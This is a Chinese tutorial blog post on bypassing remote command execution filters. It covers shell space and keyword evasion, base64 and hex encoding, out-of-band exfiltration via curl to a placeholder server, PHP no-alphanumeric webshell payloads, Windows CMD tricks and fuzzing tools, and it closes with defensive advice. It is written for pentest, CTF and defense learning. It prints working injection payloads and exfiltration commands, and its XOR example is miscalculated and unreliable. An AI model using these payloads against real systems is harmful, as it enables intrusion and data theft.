RCE绕过技巧全解析:从命令注入到无字母数字Web Shell实战

1. 从“命令执行”到“绕过艺术”:RCE攻防的本质

在安全测试和渗透评估的实战中,远程命令执行(RCE)漏洞的发现往往意味着一个关键突破点。它不像SQL注入那样需要复杂的回显判断,也不像XSS那样依赖用户交互,RCE的直接性让它成为攻击者最青睐的武器之一。然而,现实世界中的防护措施早已不是简单的“黑名单”或“白名单”就能概括。WAF、IDS、自定义过滤函数、沙箱环境……这些层层设防的机制,让一个看似简单的 system($_GET[‘cmd’]) 漏洞点,变得遥不可及。这时候,考验的就不再是漏洞发现能力,而是 绕过技巧的深度与创造力

我遇到过太多这样的场景:一个存在明显命令注入点的应用,当你兴冲冲地输入 id whoami 时,返回的却是一个冷冰冰的“非法字符”或者直接500错误。新手可能会就此放弃,认为漏洞不存在或已被修复。但老手知道,这恰恰是“游戏”的开始。RCE绕过,本质上是一场关于 系统环境、编程语言特性、过滤逻辑缺陷 的理解竞赛。攻击者需要像解谜一样,利用一切可用的“合法”字符和语法,拼凑出能够被目标系统正确解析并执行的指令。

这篇文章,我将结合多年在实战靶场、CTF比赛和内部红队评估中积累的经验,系统性地梳理RCE攻击的各类绕过技巧。我不会只给你一堆Payload列表,那样意义不大。我会重点拆解每一个技巧背后的 原理 适用场景 ,告诉你为什么这个字符能用,那个组合为什么有效,以及在面对不同的过滤规则时,你的思考路径应该是什么。无论是刚入门的安全爱好者,还是想深化绕过技能的安全工程师,希望这些“脏套路”和“奇技淫巧”,能为你打开一扇新的门。

2. 命令执行绕过的核心思路与分类

在深入具体技巧之前,我们必须建立一个清晰的认知框架。RCE绕过的目标始终是: 让目标系统成功执行我们意图中的命令 。所有技巧都服务于这个目标,并围绕以下几个核心思路展开:

2.1 思路一:字符逃逸与替代

这是最基础也是最广泛的思路。当过滤系统禁止或转义了某些关键字符(如空格、分号、管道符、关键字)时,我们需要找到功能等效的替代品。

  • 空格绕过 $IFS (内部字段分隔符)、 ${IFS} %09 (制表符的URL编码)、 < > {cat,flag.txt} (花括号扩展)。
  • 命令分隔符绕过 :分号 ; 被过滤?试试换行符 \n (需要编码)、逻辑运算符 && || & (后台执行),或者利用子shell $(cmd) 或反引号 `cmd` 本身就能执行命令的特性。
  • 关键字绕过 :过滤了 cat flag 等单词?可以利用变量拼接、通配符、编码、反斜杠转义自身等方式。

注意 :替代字符的有效性高度依赖于目标系统的环境(Linux/Windows)、使用的Shell(bash/sh/zsh/dash)以及Web应用的语言(PHP/Python/Java)。比如 $IFS 在bash中很好用,但在某些受限的sh环境中可能未定义。

2.2 思路二:利用语法特性与未初始化变量

Shell和编程语言有很多灵活的语法,这些特性在编写脚本时是便利,在绕过时就成了利器。

  • 变量拼接 a=c;b=at;c=flag.txt;$a$b $c 。这绕过了对完整命令 cat 的字符串匹配。
  • 通配符 /???/?at 可能匹配到 /bin/cat 。问号 ? 代表一个任意字符,星号 * 代表任意多个字符。这在路径和文件名被部分过滤时非常有用。
  • 花括号扩展 {cat,flag.txt} 在bash中会被扩展为 cat flag.txt 两个参数。它不依赖于空格,是一种优雅的绕过方式。
  • 未初始化变量 :在bash中,未定义的变量默认值为空。你可以利用这一点进行拼接,例如 $x (x未定义)就是一个空字符串,可以插入到命令中而不影响执行,有时能干扰简单的正则匹配。

2.3 思路三:编码与十六进制/八进制表示

直接将敏感字符进行编码,使其在过滤逻辑看来是“无害”的,但在系统解析时又能还原。

  • Base64编码 echo Y2F0IC9ldGMvcGFzc3dkCg== | base64 -d | bash 。将命令 cat /etc/passwd 先base64编码,然后管道解码并交给bash执行。这能绕过绝大多数基于关键字的黑名单。
  • Hex/Octal编码 :Shell支持 $'\xHH' (十六进制)和 $'\0OOO' (八进制)的形式表示字符。例如,空格可以表示为 $'\x20' $'\040' 。可以构造 cat$'\x20'/etc/passwd
  • URL编码 :在Web环境下,参数通常经过URL解码。你可以提交 cat%20/etc/passwd %20 会在服务器端被解码为空格。但要注意,如果应用在代码层面对原始输入做过滤,URL编码可能无效。

2.4 思路四:利用外部资源与协议

当命令执行受到极度严格限制,甚至无法直接输出时,可以考虑“曲线救国”,将执行结果发送到外部可控的地方。

  • DNS带外(DNS Exfiltration) curl whoami .your-domain.com 。命令执行的结果 whoami 会作为子域名的一部分发起DNS查询,你在自己的DNS服务器日志上就能看到结果。这常用于无回显的盲注场景。
  • HTTP带外 curl http://your-server/$(whoami) wget http://your-server/$(cat /flag) 。将结果作为HTTP请求的一部分(URL参数或路径)发送到你的服务器。
  • 时间盲注 :利用 sleep 命令或 ping -c 来根据命令执行成功与否产生时间延迟,从而判断布尔条件。例如: cat /flag | grep -q “flag{“ && sleep 5 。如果文件包含 flag{ 则睡眠5秒,否则立即返回。

3. 针对不同过滤场景的实战绕过详解

了解了核心思路,我们进入实战环节。我将模拟几种常见的、逐渐加强的过滤场景,展示如何一步步思考和组合使用上述技巧。

3.1 场景一:基础关键字与空格过滤

假设后端PHP代码如下:

$cmd = $_GET[‘cmd’];
$blacklist = array(‘cat’, ‘flag’, ‘ ‘, ‘;’, ‘|’, ‘&’);
$cmd = str_replace($blacklist, ‘’, $cmd);
system($cmd);

这是一个非常粗糙的黑名单替换,将所有黑名单字符替换为空字符串。

我们的Payload构造过程:

  1. 目标 :读取 /flag 文件。
  2. 直接尝试 cat /flag 会被处理成 cat/flag (空格被删),执行失败。
  3. 绕过空格 :使用 $IFS 。尝试 cat$IFS/flag 。经过过滤, $IFS 中的字符不会被删除,执行后变成 cat/flag ?等等,这里有个陷阱。 str_replace 是顺序处理,且是递归替换吗?通常不是。 $IFS 本身不包含黑名单字符,所以会被保留。但系统执行时, $IFS 是一个变量,其值通常是空格、制表符、换行符。所以 cat$IFS/flag 实际会变成 cat /flag (假设 IFS 默认值包含空格),成功!
  4. 绕过关键字 cat flag :使用变量拼接。
    • 构造 a=c;b=at;c=fl;d=ag;$a$b $IFS $c$d 。注意,这里的分号 ; 在黑名单里。我们需要换一种分隔方式。
    • 使用换行符的URL编码 %0a (在HTTP请求中)。Payload: a=c%0ab=at%0ac=fl%0ad=ag%0a$a$b$IFS$c$d 。服务器收到后, %0a 被解码为换行,相当于在shell中分四行定义了变量a,b,c,d,最后一行执行命令。过滤逻辑会删除空格和分号,但不会删除换行符和 $IFS 。最终变量展开后,命令得以执行。
  5. 更优雅的绕过 :使用 more less head tail nl tac rev od xxd 等替代 cat 。同时,使用通配符匹配文件名。例如,如果文件就叫 flag ,可以用 /???/more f* tail -f f???’

3.2 场景二:严格正则匹配与长度限制

假设过滤升级为正则表达式,并且限制了输入长度:

if (preg_match(‘/(cat|flag| |;|\||&|>|<|\\$|\\[|\\]|\\(|\\))/i’, $cmd)) {
    die(‘Hacker!’);
}
if (strlen($cmd) < 5) {
    die(‘Too short!’);
}

这个正则匹配了更多字符,包括各种符号和括号,并且要求命令长度大于5。

我们的Payload构造过程:

  1. 分析限制 :空格、分号、管道、重定向、美元符、括号都被禁了。这意味着变量拼接 $a 、命令替换 $(...) 、管道传递都变得困难。长度限制要求我们构造的Payload不能太短。
  2. 寻找漏网之鱼 :正则里似乎没有过滤反引号 ` (虽然很多环境里反引号和 $() 功能相同,但字符本身不同)。也没有过滤反斜杠 \ 和单引号 ?这需要测试。假设单引号可用。
  3. 利用反引号命令替换 :虽然 $() 被过滤,但反引号可能幸存。我们可以尝试 `ls` 。但如何将结果传递给下一个命令(比如 cat )呢?没有管道符 |
  4. 利用Shell参数扩展 :在bash中, ${PWD} 表示当前目录。我们可以尝试用 * 通配符。假设flag在当前目录,我们可以用 /???/c?t f* 。但 cat flag 关键字被正则 /i (不区分大小写)匹配,所以 cAt FlAg 也不行。
  5. 终极武器:Base64编码 :这是应对严格关键字过滤的经典方法。
    • 本地准备命令: echo “cat /flag” | base64 得到 Y2F0IC9mbGFnCg==
    • 构造Payload: echo$IFS\“Y2F0IC9mbGFnCg==\”|base64$IFS-d|sh
    • 问题 :正则过滤了空格 ,我们用 $IFS 替代。但 $IFS $ 开头,而 \\$ 在正则中匹配 $ !所以 $IFS 本身会被匹配到,导致失败。
    • 绕过 $ 过滤 :这里展示了正则的一个常见弱点:它匹配的是字面字符 $ 。但如果我们能构造出一个变量,其 $IFS ,而在Payload中不直接出现 $ 字面量呢?这很难。换个思路,正则中的 \\$ 可能只匹配单独的 $ 字符,而不匹配转义后的或其他形式的?不一定可靠。
  6. 换用其他编码或表示法 :既然 $ 可能被过滤,我们回到最简单的 连接符 。在Shell中,即使没有空格和分号,直接写 cat/flag 会被当作一个命令 cat/flag 去执行,当然不存在。但我们可以利用 未加引号的字符串拼接 特性吗?不行。
  7. 时间盲注作为最后手段 :如果所有带外数据的方法都失效,且无回显,可以考虑时间盲注。但这里正则过滤了括号 () ,导致 $(...) (...) 不可用。但反引号可能还在。可以尝试: `sleep 5` 来测试命令是否执行。但如何构造条件判断呢?需要 test 命令或 [ ] ,但方括号 [] 被过滤了。可以使用 -a -o 逻辑运算符结合 test 命令,但同样需要空格。这条路似乎也被堵死。

这个场景非常严格,它告诉我们, 不存在通用的万能Payload 。当遇到这种级别的过滤时,需要:

  • 精确测试正则表达式 :通过fuzz逐个字符测试,画出真正的“允许字符集”。
  • 寻找解析差异 :Web应用层的过滤(PHP的 preg_match )和最终执行层的Shell解析可能存在差异。例如,PHP收到的参数是URL解码后的,而Shell还会进行变量扩展、通配符扩展等。可能存在多层解析导致的绕过。
  • 利用环境变量 :也许可以通过注入环境变量来影响后续命令的行为,但这通常需要更复杂的条件。

3.3 场景三:无字母数字的Web Shell(无参数RCE)

这是一种在CTF和高度受限环境中常见的挑战:只能使用有限字符集(例如,不允许任何字母和数字)构造出能执行任意代码的Payload。常见于PHP环境,因为PHP的语法非常灵活。

核心技巧:利用PHP的非字母数字字符生成字符串,并调用函数。

  1. 异或(XOR) :在PHP中,两个字符串进行异或运算,可以得到第三个字符串。例如, ‘A’ ^ ‘!’ 的结果是 ‘t’ (因为ASCII码 65 XOR 33 = 96,对应字符 `)。通过精心选择非字母数字的字符进行异或,可以拼凑出像 system cat 这样的函数名和参数。
  2. 取反(~) :PHP的取反运算符 ~ 作用于字符串时,会对每个字符的ASCII码进行按位取反。例如, ~‘%8C%86%8C%8B%9A%92’ (这是一串URL编码)经过取反操作后,可以得到字符串 system 。因为取反操作本身不涉及字母数字,我们可以先构造一个经过取反后是我们目标字符串的Payload,然后通过 (~‘...’)() 的形式来执行函数。
  3. 自增运算符 :在PHP中, ‘a’++ 会变成 ‘b’ 。我们可以从一个非字母数字的变量开始,通过自增得到我们需要的字母。例如,在PHP中,如果我们可以设置一个变量为 $_=‘a’^‘!’; (得到一个非字母数字的字符),然后通过复杂的自增链得到 assert system 的字符,但这通常需要借助其他技巧。

一个经典的无字母数字Web Shell Payload(利用取反和URL编码):

<?php
$payload = ‘(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0)’;
// 实际执行: (~‘%8C%86%8C%8B%9A%92’) 得到字符串 ‘system’
// (~‘%93%8C%DF%D0’) 得到字符串 ‘ls /’
// 所以整个表达式是 system(‘ls /’);
eval($payload);
?>

在真实漏洞利用中,我们可能通过一个参数传入这串编码后的字符,并利用 $_GET[‘a’]($$_GET[‘b’]) 这种动态函数调用的方式,配合取反构造的函数名和参数来执行。

实操心得 :无字母数字RCE的构造非常精妙,更像是在解一道数学题或逻辑谜题。在实战中,除非遇到极端过滤,否则很少需要手动构造。但理解其原理至关重要,它能帮你深刻理解PHP语言的特性和字符编码的本质。通常,我们会使用现成的工具(如 phpggc 项目中的一些链,或在线生成器)来生成Payload,但必须清楚其工作原理,因为目标环境可能禁用某些函数(如 assert ),导致生成的Payload失效,需要手动调整。

4. 操作系统与语言特性进阶绕过

不同的操作系统和编程语言环境,提供了独特的绕过可能性。

4.1 Linux/Unix Shell 特性利用

  • 内联执行(Inline Execution) :通过 $() 或反引号将命令执行结果作为参数。例如,查找flag文件并读取: cat $(find / -name ‘*flag*’ 2>/dev/null | head -n 1) 。即使 cat flag 被过滤, find 命令可能幸存。
  • Here Document cat <<< “hello” 是一种将字符串直接传递给命令的方式。在某些过滤场景下, <<< 这个重定向操作符可能不被过滤。
  • 进程替换(Process Substitution) cat <(ls) diff <(ls /home) <(ls /root) <() 操作符会将命令的输出作为一个临时文件描述符传递。这可以用于组合多个命令的结果,绕过某些需要文件输入的过滤。
  • 利用已加载的命令别名或函数 :在用户的Shell环境中,可能定义了别名,如 alias ll=‘ls -l’ 。或者通过环境变量 $PATH 注入,将当前目录( . )放在 $PATH 最前面,然后在当前目录上传一个名为 ls 的恶意脚本,当用户执行 ls 时,实际执行的是我们的脚本。

4.2 Windows 命令提示符(CMD)绕过

Windows下的RCE绕过思路与Linux不同,主要利用CMD的特性和批处理语法。

  • 空格绕过 :使用 %PROGRAMFILES:~10,-4% 这样的变量截取技巧可以生成空格。更简单的是,在CMD中,某些情况下路径中的空格可以用短文件名(8.3格式)代替,例如 C:\Progra~1\
  • 关键字绕过 c”a”t c^a^t ^ 是CMD的转义字符,它可以让后面的字符被当作普通字符处理,从而绕过简单的字符串匹配。 也有类似效果。
  • 变量截取与拼接 %COMSPEC:~0,1% 会得到 C %COMSPEC% 通常是 C:\Windows\System32\cmd.exe )。通过组合不同的环境变量和截取位置,可以拼出任意命令。例如, set a=net&& set b= user&& call %a%%b% 最终会执行 net user
  • 通配符 :Windows也支持 * ? 通配符,但不如Linux灵活。
  • 利用 for if 命令 :批处理命令 for if 可以用于构造复杂的逻辑。例如, for /f %i in (‘dir /b’) do @echo %i 会遍历当前目录文件并回显。

4.3 PHP语言特性绕过

除了前述的无字母数字技巧,PHP还有其他特性:

  • 动态函数调用 $_GET[‘func’]($_GET[‘arg’]); 。如果存在这样的代码,我们可以通过控制 func arg 参数来执行任意函数。
  • create_function() 代码注入 :这个已废弃的函数会动态创建匿名函数,其函数体来自字符串参数。如果用户输入被拼接到函数体字符串中,可能导致代码执行。例如: create_function(‘$a’, ‘echo $a . ‘ . $_GET[‘data’] . ‘;’);
  • preg_replace() /e 修饰符(已废弃) :在PHP老版本中, preg_replace 使用 /e 修饰符时,第二个参数(替换字符串)会被当作PHP代码执行。例如: preg_replace(‘/.*/e’, $_GET[‘cmd’], ‘.’);
  • 反序列化漏洞 :虽然这不属于直接的命令注入,但通过构造恶意的序列化字符串,可以触发类的 __destruct() __wakeup() 魔术方法中的危险操作(如 system() 调用),最终达到RCE的目的。这是另一条重要的攻击路径。

5. 工具辅助与自动化Fuzz

手动构造Payload虽然能锻炼思维,但效率低下。在实际渗透测试中,我们依赖工具来提高效率。

  1. Fuzz字典 :准备一个精心编排的Payload字典是关键。这个字典不应该只是简单的命令列表,而应该包含各种绕过技巧的组合。例如:

    • 空格替代: $IFS , ${IFS} , %09 , {cat,flag.txt}
    • 命令分隔: %0a , %0d , && , || , & , |
    • 命令拼接: a=c;b=at;$a$b , /???/?at , c\at
    • 编码混淆:Base64, Hex, Octal表示 使用工具如 ffuf wfuzz Burp Suite Intruder 加载字典进行批量测试。
  2. 专用工具

    • Commix :一个非常强大的自动化命令注入检测和利用工具。它内置了海量的绕过技术(tamper脚本),可以自动识别注入点,并尝试各种方法获取Shell。在发现可能的注入点后,用Commix进行深入利用是标准流程。
    • SQLmap with --os-shell :是的,SQLmap不仅能打SQL注入,当通过SQL注入获取到一定权限(如文件写权限、 into outfile 权限)后,可以尝试使用 --os-shell 参数来获取一个交互式的操作系统Shell。其原理通常是写入一个Web Shell或利用数据库的特性执行系统命令。
  3. 自定义脚本 :针对特定的过滤逻辑,编写Python脚本进行模糊测试。例如,逐个字符测试哪些字符被过滤,哪些字符能通过,从而精确描绘出“允许字符集”。然后基于这个字符集,使用算法(如遗传算法)自动生成可能有效的Payload。

注意事项 :自动化工具虽然强大,但噪音也大,容易触发WAF的防护规则或被封IP。在正式测试中,应先用手工方式轻量测试,确认存在注入点后,再在合适的时机(如测试环境、获得明确授权的时间窗口)使用工具进行深度利用。同时,要理解工具每一步在做什么,否则当工具失败时,你将无从下手进行手动调整。

6. 防御视角与排查技巧

作为防守方(蓝队或开发者),了解攻击技巧是为了更好地防御。

  1. 输入验证与净化(白名单优于黑名单)

    • 绝对不要使用黑名单 :黑名单永远无法穷尽所有可能性。上述所有绕过技巧都是对黑名单的嘲讽。
    • 使用严格的白名单 :如果参数预期是一个数字,就用 intval() is_numeric() 严格校验。如果预期是一个有限的选项(如 start / stop ),就只允许这两个值。
    • 如果需要接受复杂输入 :使用安全的API。对于系统命令,使用 exec() system() shell_exec() passthru() 等函数时,必须确保参数完全可控。更好的方式是使用 proc_open() popen() 并仔细设置参数,或者避免使用这些函数。
  2. 避免命令执行 :这是最根本的。问问自己,是否真的需要调用系统命令?很多功能可以用编程语言的原生库实现。例如,用PHP的 scandir() 代替 ls ,用 file_get_contents() 代替 cat

  3. 最小权限原则 :运行Web服务的进程(如www-data、nginx)应该被限制在最低必要的权限。即使被RCE,攻击者也只能在有限的沙箱中活动,无法读取敏感文件或进行横向移动。

  4. 安全编码与代码审计

    • 对用户输入进行 规范化 编码 后再进行验证。
    • 使用参数化调用(对于命令行,这意味着将命令和参数分开传递,而不是拼接字符串)。例如在Python中:
      # 危险
      os.system(‘ping ’ + user_input)
      # 安全
      subprocess.run([‘ping’, ‘-c’, ‘4’, user_input], shell=False) # 但user_input仍需验证
      
    • 在PHP中,可以使用 escapeshellarg() escapeshellcmd() 函数,但要注意它们并非银弹,在复杂情况下也可能被绕过。
  5. WAF与运行时防护

    • 部署WAF规则,检测常见的命令注入模式。
    • 使用RASP(运行时应用自我保护)技术,在应用内部监控危险函数的调用,并结合上下文进行阻断。

排查技巧实录 :当你在日志中看到可疑的、包含大量特殊字符 $ { } | & 、反引号、百分号的请求时,就要高度警惕可能存在的命令注入尝试。特别是那些参数值长得不像正常输入,而像一段“乱码”或“编码后字符串”的请求。检查应用代码中所有调用外部命令或程序的地方,特别是那些将用户输入直接或间接拼接进命令字符串的位置。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值